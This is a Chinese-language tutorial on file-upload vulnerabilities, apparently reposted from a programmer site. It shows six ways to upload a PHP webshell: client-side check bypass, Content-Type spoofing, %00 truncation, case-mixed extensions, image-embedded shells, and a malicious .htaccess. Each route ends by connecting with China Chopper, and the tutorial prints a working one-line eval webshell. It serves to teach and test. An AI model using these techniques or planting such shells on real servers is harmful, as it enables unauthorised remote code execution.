概述
1. 绕过前台脚本检测扩展名上传WebShell
2. 绕过Content-Type检测文件类型上传WebShell
3. 利用00截断上传WebShell
4. 绕过服务器端扩展名检测上传
5. 构造图片马,绕过文件内容检测上传WebShell
6. 利用.htaccess文件攻击上传Shell
7. 中国菜刀连接一句话木马
我们逐一进行测试
1. 绕过前台脚本检测扩展名上传WebShell
首先我们先尝试直接上传一个一句话木马的脚本文件,看看有什么结果
<?php
@eval($_POST[123]);
?>
这里提示只能上传图片格式的文件,我们这个文件是php格式所以不允许上传,注意这里的前台脚本规定的是一个白名单,所以我们要先在前台通过白名单,再想办法去对文件的后缀名做修改,所以我们先把文件改成图片格式上传。
上传时用我们的burpsuite进行抓包
抓到包之后,再改成我们希望上传的php格式的脚本
果然我们成功绕过,上传成功了,还给出了我们上传位置,此时我们就可以用另一件工具去链接我们上传的脚本文件,从而达到getshell的目的,另一个工具就是“中国菜刀”
打开中国菜刀,把脚本文件的url添加进去,在url后面的小输入框里写入脚本中的请求值123,可以理解为链接时用的密码,添加完成后,双击我们添加好的链接。
显示这个页面,就证明我们链接成功,同时getshell成功了
2. 绕过Content-Type检测文件类型上传WebShell
这里是另一种绕过方式,content-type是表示文件的格式和类型,我们还是照旧上传一个脚本文件,然后抓包,来看看这个content-type怎样绕过
这里我上传一个名为xiaoma01.php的脚本文件,然后抓包
这里我们看到的是我上传php格式的文件content-type中的文件类型,我们需要把这个类型修改成图片格式的文件类型,再进行上传
再用中国菜刀连接一下即可
3. 利用00截断上传WebShell
这里先说一下什么是00截断,在url编码里在%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,那么后面的内容就不会再进行读取了。
文件名.php;.jpg
在这里我上传一个名为aa.php;.jpg的图片格式的文件,我的后缀名很复杂,这是要在抓时对它进行操作,继续进行
抓包后打开编码页面
找到我们上传的文件,然后找到后缀名里的分号;的位置,编码为3b
然后把编码3b改成00,再进行上传操作
此时我们可以看到本来在这里的分号,已经变成了空方框,所以在上传的时候就会在这个位置截断,从而达到上传aa.php脚本文件的目的
上传成功,然后我们再去用中国菜刀链接一下就可以了
4. 绕过服务器端扩展名检测上传
这里相当于是绕过服务器端的扩展名黑名单,进行上传动作
我们直接上传php格式的文件这里只提示不能上传这类文件,但是没有要求必须上传的格式,所以这里是对黑名单的设置,我们用burp抓包,尝试绕过
我们把后缀名进行复杂化,比如使用大小写混搭的方式,在进行上传
这样就上传成功咯~ 然后就可以用菜刀试一试
5. 构造图片马,绕过文件内容检测上传WebShell
首先我们要合成一个带马的图片,就是图片马(一句话木马和图片组合)
在这里我们合成了一个名为11aa.jpg的图片,然后我们可以用记事本去打开一下我们这个图片,并且可以再最后看到我们的一句话木马
然后把这张图片马直接上传上去
最后连接中国菜刀
6. 利用.htaccess文件攻击上传Shell
首先我们要先创建一个.htaccess文件
.htaccess文件是Apache的配置文件,所以上传时不会有任何阻碍,而且这个文件可以配置相关目录下的网页配置,我们写的这个文件代码含义是,把上传的文件后缀名是jpg格式的文件以php的格式来解析,好我们先上传.htaccess文件
.htaccess文件上传成功,下面我们吧一句话木马文件后缀名修改为jpg格式的图片文件进行上传操作
上传成功了,而且和.htaccess文件在同一目录下,那么接下来我们用我们的中国菜刀链接aa.jpg这个文件的url就可以getshell了
最后
以上就是暴躁马里奥为你收集整理的文件上传漏洞演示脚本的全部内容,希望文章能够帮你解决文件上传漏洞演示脚本所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复